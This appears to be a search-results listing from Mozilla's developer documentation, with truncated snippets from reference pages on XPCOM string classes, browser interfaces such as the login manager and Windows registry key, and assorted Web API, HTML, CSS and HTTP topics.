class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsautostring data members no public members.
... methods constructors void ns_convertutf8toutf16(const char*) - source parameters char* acstring void ns_convertutf8toutf16(const char*, pruint32) - source parameters char* acstring pruint32 alength void ns_convertutf8toutf16(const nsacstring_internal&) - source parameters nsacstring_internal& acstring operator= nsautostring& operator=(const nsautostring&) - source parameters nsautostring& str nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal&...
...And 35 more matches
nsAdoptingCString
class declaration nstadoptingstring extends nstxpidlstring such that: (1) adopt given string on construction or assignment, i.e.
...method overview constructors operator= operator const char* operator[] get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii ...
... equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsxpidlcstring data members no public members.
...And 35 more matches
nsCString
names: nsstring for wide characters nscstring for narrow characters this class is also known as nsaflat[c]string, where "flat" is used to denote a null-terminated string.
... method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assigna...
...scii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsacstring_internal data members no public members.
...And 35 more matches
nsFixedString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
... methods constructors void nsfixedstring(prunichar*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters prunichar* data pruint32 storagesize void nsfixedstring(prunichar*, pruint32, pruint32) - source parameters prunichar* data pruint32 storagesize pruint32 length operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const ...
...And 35 more matches
nsPromiseFlatString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char ass...
...ign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nsstring data members no public members.
... methods constructors void nspromiseflatstring(const nsastring_internal&) - source parameters nsastring_internal& str void nspromiseflatstring(const nssubstringtuple&) - source parameters nssubstringtuple& tuple operator= nsstring& operator=(const nsstring&) - source parameters nsstring& str nsastring_internal& operator=(prunichar) - source parameters prunichar c nsastring_internal& operator=(const prunichar*) - source parameters prunichar* data nsastring_internal& operator=(const nsastring_internal&) - source parameters nsastring_internal& str nsastring_internal& operator=(const nssubstringtuple&) - source parameters nssubstringtuple& tuple get prunichar* get() const - source returns the null-terminated string find print32 find(...
...And 35 more matches
nsXPIDLCString
class declaration nstxpidlstring extends nststring such that: (1) mdata can be null (2) objects of this type can be automatically cast to |const chart*| (3) getter_copies method is supported to adopt data allocated with ns_alloc, such as "out string" parameters in xpidl.
... names: nsxpidlstring for wide characters nsxpidlcstring for narrow characters method overview constructors operator const char* operator[] operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercase...
...equalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
...And 35 more matches
nsILoginManager
toolkit/components/passwordmgr/public/nsiloginmanager.idlscriptable used to interface with the built-in password manager 1.0 66 introduced gecko 1.9 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) replaces nsipasswordmanager which was used in older versions of gecko.
...to create an instance, use: var loginmanager = components.classes["@mozilla.org/login-manager;1"] .getservice(components.interfaces.nsiloginmanager); method overview void addlogin(in nsilogininfo alogin); nsiautocompleteresult autocompletesearch(in astring asearchstring, in nsiautocompleteresult apreviousresult, in nsidomhtmlinputelement aelement); unsigned long countlogins(in astring ahostname, in astring aactionurl, in astring ahttprealm); boolean fillform(in nsidomhtmlformelement aform); void findlogins(out unsigned long count, in astring ahostname, in astring aactionurl, in astring ahttprealm, [retval, array, size_is(count)] out nsilogininfo logins); void getalldi...
...e_is(count)] out wstring hostnames); void getalllogins([optional] out unsigned long count, [retval, array, size_is(count)] out nsilogininfo logins); boolean getloginsavingenabled(in astring ahost); void modifylogin(in nsilogininfo oldlogin, in nsisupports newlogindata); void removealllogins(); void removelogin(in nsilogininfo alogin); void searchlogins(out unsigned long count, in nsipropertybag matchdata, [retval, array, size_is(count)] out nsilogininfo logins); void setloginsavingenabled(in astring ahost, in boolean isenabled); methods addlogin() stores a new login in the login manager.
...And 35 more matches
nsINavHistoryResultViewer
toolkit/components/places/public/nsinavhistoryservice.idlscriptable lets nsinavhistoryresult instances notify places views of changes in the results.
... removed in gecko 2.0 and replaced with the nsinavhistoryresultobserver interface, which is similar but allows multiple clients to observe the result at once.
... 1.0 66 introduced gecko 1.9 obsolete gecko 2.0 inherits from: nsisupports last changed in gecko 1.9.2 (firefox 3.6 / thunderbird 3.1 / fennec 1.0) obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete.
...And 35 more matches
nsIWindowsRegKey
1.0 66 introduced gecko 1.8 inherits from: nsisupports last changed in gecko 1.8 (firefox 1.5 / thunderbird 1.5 / seamonkey 1.0) the interface represents a single key in the registry.
...method overview void close(); void create(in unsigned long rootkey, in astring relpath, in unsigned long mode); nsiwindowsregkey createchild(in astring relpath, in unsigned long mode); astring getchildname(in unsigned long index); astring getvaluename(in unsigned long index); unsigned long getvaluetype(in astring name); boolean haschanged(); boolean haschild(in astring name); boolean hasvalue(in astring name); boolean iswatching(); void open(in unsigned long rootkey, in astring relpath, in unsigned long mode); nsiwindowsregkey openchild(in astring relpath, in unsigned long mode); acstring readbinaryvalue(in astring name); unsi...
...gned long long readint64value(in astring name); unsigned long readintvalue(in astring name); astring readstringvalue(in astring name); void removechild(in astring relpath); void removevalue(in astring name); void startwatching(in boolean recurse); void stopwatching(); void writebinaryvalue(in astring name, in acstring data); void writeint64value(in astring name, in unsigned long long data); void writeintvalue(in astring name, in unsigned long data); void writestringvalue(in astring name, in astring data); attributes attribute type description childcount unsigned long this attribute returns the number of child keys.
...And 35 more matches
Using microtasks in JavaScript with queueMicrotask() - Web APIs
a microtask is a short function which is executed after the function or program which created it exits and only if the javascript execution stack is empty, but before returning control to the event loop being used by the user agent to drive the script's execution environment.
... tasks a task is any javascript code which is scheduled to be run by the standard mechanisms such as initially starting to run a program, an event callback being run, or an interval or timeout being fired.
... these all get scheduled on the task queue.
...And 35 more matches
Selection API - Web APIs
once your selection is in a variable, you perform a variety of operations on it, for example copying the selection to a text string using selection.tostring(), adding a range (as represented by a standard range object) to the selection (or removing one) with selection.addrange()/selection.removerange(), or changing the selection to be the entire contents of a dom node using selection.selectallchildren().
... you can run code in response to the selection being changed, or a new selection being started, using the globaleventhandlers.onselectionchange and globaleventhandlers.onselectstart event handlers.
... globaleventhandlers.onselectionchange represents the event handler that is called when a selectionchange event is fired on the current object (i.e.
...And 35 more matches
<input type="time"> - HTML: Hypertext Markup Language
WebHTMLElementinputtime
appearance chrome and opera in chrome/opera the time control is simple, with slots to enter hours and minutes in 12 or 24-hour format depending on operating system locale, and up and down arrows to increment and decrement the currently selected component.
... 12-hour 24-hour chrome 83 in chrome 83, the ui controls have been updated with a new look and feel.
... 24-hour firefox firefox's time control is very similar to chrome's, except that it doesn't have the up and down arrows.
...And 35 more matches
Content negotiation - HTTP
in http, content negotiation is the mechanism that is used for serving different representations of a resource at the same uri, so that the user agent can specify which is best suited for the user (for example, which language of a document, which image format, or which content encoding).
...the server uses this url to choose one of the variants it provides – each variant being called a representation – and returns a specific representation to the client.
... the overall resource, as well as each of the representations, have a specific url.
...And 35 more matches
Functions - JavaScript
to use a function, you must define it somewhere in the scope from which you wish to call it.
... see also the exhaustive reference chapter about javascript functions to get to know the details.
...the statement return specifies the value returned by the function: return number * number; primitive parameters (such as a number) are passed to functions by value; the value is passed to the function, but if the function changes the value of the parameter, this change is not reflected globally or in the calling function.
...And 35 more matches
Introduction to using XPath in JavaScript - XPath
mozilla implements a fair amount of the dom 3 xpath, which means that xpath expressions can be run against both html and xml documents.
... document.evaluate this method evaluates xpath expressions against an xml based document (including html documents), and returns a xpathresult object, which can be a single node or a set of nodes.
... contextnode: a node in the document against which the xpathexpression should be evaluated, including any and all of its child nodes.
...And 35 more matches
Deployment and next steps - Learn web development
there are different opinions about it, and in this chapter we will talk briefly about the pros and cons of using typescript.
...if you are not interested at all in typescript, you can skip to the next chapter, where we will look at different options for deploying our svelte applications, further resources, and more.
...it also starts a development server and watches for changes, recompiling the app and refreshing the page when a change occurs.
...And 34 more matches
Message manager overview
in multiprocess firefox there are (at least) two processes: the chrome process, also called the parent process, runs the browser ui (chrome) code and code inserted by extensions one or more content processes, also called child processes.
... message managers are designed to enable chrome-privileged javascript code in one process to communicate with chrome-privileged javascript code in a different process.
... at the top level, there are two different sorts of message managers: frame message managers: these enable chrome process code to load a script into a browser frame (essentially, a single browser tab) in the content process.
...And 34 more matches
HTML parser threading
additionally, each nshtml5parser has an associated nshtml5treeopexecutor that turns the output (tree operations; discussed later) of the portable parser core into actions performed on the gecko dom.
...the method implementations assert which thread they are supposed to be called on.
...however, if they released on the parser thread, nshtml5streamparser could be deleted from the parser thread, which would lead to all sorts of badness, because nshtml5streamparser has fields that hold objects that aren't safe to release except from the main thread.
...And 34 more matches
Places Developer Guide
it provides code samples for many common use-cases, such as crud operations, searching, and observing.
...the api signature and context usually make clear which is required.
...the bookmarks datastore is hierarchical, modeling folders and their contents.
...And 34 more matches
NS_ConvertUTF16toUTF8
class declaration a helper class that converts a utf-16 string to utf-8 method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowerca...
...seequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
... methods constructors void ns_convertutf16toutf8(const prunichar*) - source a helper class that converts a utf-16 string to utf-8 parameters prunichar* astring void ns_convertutf16toutf8(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_convertutf16toutf8(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source ...
...And 34 more matches
NS_LossyConvertUTF16toASCII
class declaration a helper class that converts a utf-16 string to ascii in a lossy manner method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequal...
...sascii lowercaseequalsliteral(const char lowercaseequalsliteral(char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscautostring data members no public members.
... methods constructors void ns_lossyconvertutf16toascii(const prunichar*) - source a helper class that converts a utf-16 string to ascii in a lossy manner parameters prunichar* astring void ns_lossyconvertutf16toascii(const prunichar*, pruint32) - source parameters prunichar* astring pruint32 alength void ns_lossyconvertutf16toascii(const nsastring_internal&) - source parameters nsastring_internal& astring operator= nscautostring& operator=(const nscautostring&) - source parameters nscautostring& str nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(co...
...And 34 more matches
nsFixedCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
... methods constructors void nsfixedcstring(char*, pruint32) - source @param data fixed-size buffer to be used by the string (the contents of this buffer may be modified by the string) @param storagesize the size of the fixed buffer @param length (optional) the length of the string already contained in the buffer parameters char* data pruint32 storagesize void nsfixedcstring(char*, pruint32, pruint32) - source parameters char* data pruint32 storagesize pruint32 length operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source ...
...And 34 more matches
nsPromiseFlatCString
class declaration method overview constructors operator= get find rfind rfindchar findcharinset rfindcharinset compare equalsignorecase tofloat tointeger mid left right setcharat stripchars stripwhitespace replacechar replacesubstring trim compresswhitespace assignwithconversion appendwithconversion appendint appendfloat beginreading endreading beginwriting endwriting data length isempty isvoid isterminated charat operator[] first last countchar findchar equals equalsascii equalsliteral(const char equalsliteral(char lowercaseequalsascii lowercaseequalsliteral(const char lowercaseequalsliteral(...
...char assign assignascii assignliteral(const char assignliteral(char adopt replace replaceascii append appendascii appendliteral(const char appendliteral(char operator+= insert cut setcapacity setlength truncate getdata getmutabledata setisvoid stripchar base classes nscstring data members no public members.
... methods constructors void nspromiseflatcstring(const nsacstring_internal&) - source parameters nsacstring_internal& str void nspromiseflatcstring(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple operator= nscstring& operator=(const nscstring&) - source parameters nscstring& str nsacstring_internal& operator=(char) - source parameters char c nsacstring_internal& operator=(const char*) - source parameters char* data nsacstring_internal& operator=(const nsacstring_internal&) - source parameters nsacstring_internal& str nsacstring_internal& operator=(const nscsubstringtuple&) - source parameters nscsubstringtuple& tuple get char* get() const - source returns the null-terminated string find print32 find(const ns...
...And 34 more matches
Examine and edit HTML - Firefox Developer Tools
this shows the complete hierarchy through the document for the branch containing the selected element: hovering over a breadcrumb highlights that element in the page.
... searching the page inspector's search box matches all markup in the current document and in any frames.
... to start searching the markup, click in the search box to expand it or press ctrl + f , or cmd + f on a mac.
...And 34 more matches
HTMLInputElement - Web APIs
dden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="cons...
...olas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">node</text></a><polyline points="226,25 236,20 236,30 226,25" stroke="#d4dde4" fill="none"/><line x1="236" y1="25" x2="266" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/element" target="_top"><rect x="266" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="303.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">element</text></a><polyline points="341,25 351,20 351,30 341,25" stroke="#d4dde4" fill="none"/><line x1="351" y1="25" x2="381" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlelement" target="_top"><rect x="381" y="1" width="110" heig...
...ht="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="436" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlelement</text></a><polyline points="491,25 501,20 501,30 491,25" stroke="#d4dde4" fill="none"/><line x1="501" y1="25" x2="509" y2="25" stroke="#d4dde4"/><line x1="509" y1="25" x2="509" y2="90" stroke="#d4dde4"/><line x1="509" y1="90" x2="492" y2="90" stroke="#d4dde4"/><a xlink:href="/docs/web/api/htmlinputelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle"...
...And 34 more matches
Web Audio API - Web APIs
the web audio api provides a powerful and versatile system for controlling audio on the web, allowing developers to choose audio sources, add effects to audio, create audio visualizations, apply spatial effects (such as panning) and much more.
...basic audio operations are performed with audio nodes, which are linked together to form an audio routing graph.
... several sources — with different types of channel layout — are supported even within a single context.
...And 34 more matches
Using Web Workers - Web APIs
in addition, they can perform i/o using xmlhttprequest (although the responsexml and channel attributes are always null).
...but you can use a large number of items available under window, including websockets, and data storage mechanisms like indexeddb.
...in addition, workers may use xmlhttprequest for network i/o, with the exception that the responsexml and channel attributes on xmlhttprequest always return null.
...And 34 more matches
WindowOrWorkerGlobalScope.setInterval() - Web APIs
the setinterval() method, offered on the window and worker interfaces, repeatedly calls a function or executes a code snippet, with a fixed time delay between each call.
... it returns an interval id which uniquely identifies the interval, so you can remove it later by calling clearinterval().
... code an optional syntax allows you to include a string instead of a function, which is compiled and executed every delay milliseconds.
...And 34 more matches
Using media queries - CSS: Cascading Style Sheets
media queries are useful when you want to modify your site or app depending on a device's general type (such as print vs.
... screen) or specific characteristics and parameters (such as screen resolution or browser viewport width).
... to test and monitor media states using the window.matchmedia() and mediaquerylist.addlistener() javascript methods.
...And 34 more matches
<input type="file"> - HTML: Hypertext Markup Language
WebHTMLElementinputfile
<input> elements with type="file" let the user choose one or more files from their device storage.
... once chosen, the files can be uploaded to a server using form submission, or manipulated using javascript code and the file api.
... events change and input supported common attributes required additional attributes accept, capture, files, multiple idl attributes files and value dom interface htmlinputelement properties properties that apply only to elements of type file methods select() value a file input's value attribute contains a domstring that represents the path to the selected file(s).
...And 34 more matches
Organizing your CSS - Learn web development
previous overview: building blocks as you start to work on larger stylesheets and big projects you will discover that maintaining a huge css file can be challenging.
... if you are working with a team on an existing project, the first thing to check is whether the project has an existing style guide for css.
...consistency can be applied in all sorts of ways, such as using the same naming conventions for classes, choosing one method of describing color, or maintaining consistent formatting (for example will you use tabs or spaces to indent your code?
...And 33 more matches
Legacy layout methods - Learn web development
this knowledge will be helpful to you if you need to create fallback code for browsers that do not support newer methods, in addition to allowing you to work on existing projects which use these types of systems.
...cum sociis natoque penatibus et magnis dis parturient montes, nascetur ridiculus mus.</p> </div> each one of the columns needs an outer element to contain its content and let us manipulate all of it at once.
... in this example case we've chosen <div>s, but you could choose something more semantically appropriate like <article>s, <section>s, and <aside>, or whatever.
...And 33 more matches
Creating reftest-based unit tests
the power of the tool comes from the fact that there is more than one way to achieve any given visual effect in a browser.
... so, if the effect of complex markup is being tested, put that complex markup into a page and create another page that uses simple markup to achieve the same visual effect.
...but an operating system does change with time.
...And 33 more matches
Using the Browser API
MozillaGeckoChromeAPIBrowser APIUsing
there may also be large incompatibilities between implementations and the behavior may change in the future.
...it was originally used in firefox os to implement browser applications before that project was cancelled; since firefox 47 it is available to desktop chrome code and used in places like the firefox devtools.
...should not reflect the frame hierarchy.
...And 33 more matches
Sqlite.jsm
you don't need to worry about caching created statement instances, destroying them when you are done, etc.
... all operations are asynchronous.
... use of synchronous storage apis is discouraged because they block the main thread.
...And 33 more matches
Mozilla Web Developer FAQ
these aspects of the layout can be changed by explicitly setting the display css property of the images (and possible surrounding <a> elements) to block.
... in the standards mode and in the almost standards mode mozilla does not suppress the default margins of the first and last child element in table cells.
... therefore, the default margins for paragraphs apply even with markup such as <td><p>foo</p></td>.
...And 33 more matches
Power profiling overview
this article covers important background information about power profiling, with an emphasis on intel processors used in desktop and laptop machines.
...in si units, energy is measured in joules, and power is measured in watts, which is equivalent to joules per second.
...strictly speaking, such a computation gives the average power but this is often referred to as just the power when context makes it clear.
...And 33 more matches
Component Internals
« previousnext » where the previous chapter described components from the perspective of a client of xpcom components, this chapter discusses components from the perspective of the software developer.
... read on to see how components are generally implemented in xpcom, or you can skip to the next chapter, where the weblock component tutorial takes you step by step through the component creation process.
...in this diagram, the outer boundary is that of the module, the shared library in which a component is defined.
...And 33 more matches
Add to iPhoto
note: this extension uses carbon routines, which can no longer be used in firefox add-ons now that firefox is a 64-bit application.
...choose it, and iphoto will start up (if it's not already running) and import the image.
... for the sake of organization, i chose to implement each system framework (and, mind you, i only declare the apis i actually use, not all of them) as a javascript object containing all the types and methods that framework's api.
...And 33 more matches
How whitespace is handled by HTML, CSS, and in the DOM - Web APIs
these characters allow you to format your code in a way that will make it easily readable by yourself and other people.
... in fact, much of our source code is full of these whitespace characters, and we only tend to get rid of it in a production build step to reduce code download sizes.
... in the case of html, whitespace is largely ignored — whitespace in between words is treated as a single character, and whitespace at the start and end of elements and outside elements is ignored.
...And 33 more matches
IDBTransaction - Web APIs
the idbtransaction interface of the indexeddb api provides a static, asynchronous transaction on a database using event handler attributes.
...idden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/idbtransaction" target="_top"><rect x="151" y="1" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-...
...family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbtransaction</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} transactions are started when the transaction is created, not when the first request is placed; for example consider this: var trans1 = db.transaction("foo", "readwrite"); var trans2 = db.transaction("foo", "readwrite"); var objectstore2 = trans2.objectstore("foo") var objectstore1 = trans1.objectstore("foo") objectstore2.put("2", "key"); objectstore1.put("1", "key"); after the code is executed the object store should contain the value "2", since trans2 should run after trans1.
...And 33 more matches
Color picker tool - CSS: Cascading Style Sheets
mdn.mozillademos.org/files/5705/alpha.png"); float: left; position: relative; } .ui-color-picker .preview:before { height: 100%; width: 50%; left: 50%; top: 0; content: ""; background: #fff; position: absolute; z-index: 1; } .ui-color-picker .preview-color { width: 100%; height: 100%; background-color: rgba(255, 0, 0, 0.5); position: absolute; z-index: 1; } .ui-color-picker .switch_mode { width: 10px; height: 20px; position: relative; border-radius: 5px 0 0 5px; border: 1px solid #ddd; background-color: #eee; left: -12px; top: -1px; z-index: 1; transition: all 0.5s; } .ui-color-picker .switch_mode:hover { background-color: #ccc; cursor: pointer; } /* * ui component */ .ui-input-slider { height: 20px; font-family: "segoe ui", arial, helvetica, sans-serif; ...
...llapsed='true'] { height: 0 !important; } .block { display: table; } /** * container */ #container { width: 100%; -moz-box-sizing: border-box; -webkit-box-sizing: border-box; box-sizing: border-box; display: table; } /** * picker zone */ #picker { padding: 10px; width: 980px; } .ui-color-picker { padding: 3px 5px; float: left; border-color: #fff; } .ui-color-picker .switch_mode { display: none; } .ui-color-picker .preview-color:hover { cursor: move; } /** * picker container */ #picker-samples { width: 375px; height: 114px; max-height: 218px; margin: 0 10px 0 30px; overflow: hidden; position: relative; float: left; transition: all 0.2s; } #picker-samples .sample { width: 40px; height: 40px; margin: 5px; border: 1px solid #ddd; position: absolut...
...add-icon:before { width: 70%; height: 16%; top: 42%; left: 15%; } #picker-samples #add-icon:after { width: 16%; height: 70%; top: 15%; left: 42%; } #picker-samples #add-icon:hover:before, #picker-samples #add-icon:hover:after { background-color: #ddd; box-shadow: 0 0 1px 0 #ddd; } /** * controls */ #controls { width: 110px; padding: 10px; float: right; } #controls #picker-switch { text-align: center; float: left; } #controls .icon { width: 48px; height: 48px; margin: 10px 0; background-repeat: no-repeat; background-position: center; border: 1px solid #ddd; display: table; float: left; } #controls .icon:hover { cursor: pointer; } #controls .picker-icon { background-image: url('https://mdn.mozillademos.org/files/6081/picker.png'); } #controls #void-sample {...
...And 33 more matches
Index - Developer guides
WebGuideIndex
found 43 pages: # page tags and summary 1 developer guides api, guide, landing, web these articles provide how-to information to help make use of specific web technologies and apis.
... 2 ajax ajax, dom, json, javascript, references, xmlhttprequest asynchronous javascript and xml, while not a technology in itself, is a term coined in 2005 by jesse james garrett, that describes a "new" approach to using a number of existing technologies together 3 community ajax if you know of useful mailing lists, newsgroups, forums, or other communities related to ajax, please link to them here.
... 4 getting started ajax, api, advanced, javascript, webmechanics, xmlhttprequest this article guides you through the ajax basics and gives you some simple hands-on examples to get you started.
...And 33 more matches
HTML attribute reference - HTML: Hypertext Markup Language
accept-charset <form> list of supported charsets.
... async <script> executes the script asynchronously.
... challenge <keygen> a challenge string that is submitted along with the public key.
...And 33 more matches
Proxy Auto-Configuration (PAC) file - HTTP
in chrome (versions 52 to 73), you can disable this by setting pachttpsurlstrippingenabled to false in policy or by launching with the --unsafe-pac-url command-line flag (in chrome 74, only the flag works, and from 75 onward, there is no way to disable path-stripping; as of chrome 81, path-stripping does not apply to http urls, but there is interest in changing this behavior to match https); in firefox...
...name and/or subnets.) predefined functions and environment these functions can be used in building the pac file: hostname based conditions isplainhostname() dnsdomainis() localhostordomainis() isresolvable() isinnet() related utility functions dnsresolve() convert_addr() myipaddress() dnsdomainlevels() url/hostname based conditions shexpmatch() time based conditions weekdayrange() daterange() timerange() logging utility alert() there was one associative array (object) already defined, because at the time javascript code was unable to define it by itself: proxyconfig.bindings note: pactester (part of the pacparser package) was used to test the following syntax examples.
... description returns true if and only if the domain of hostname matches.
...And 33 more matches
What is accessibility? - Learn web development
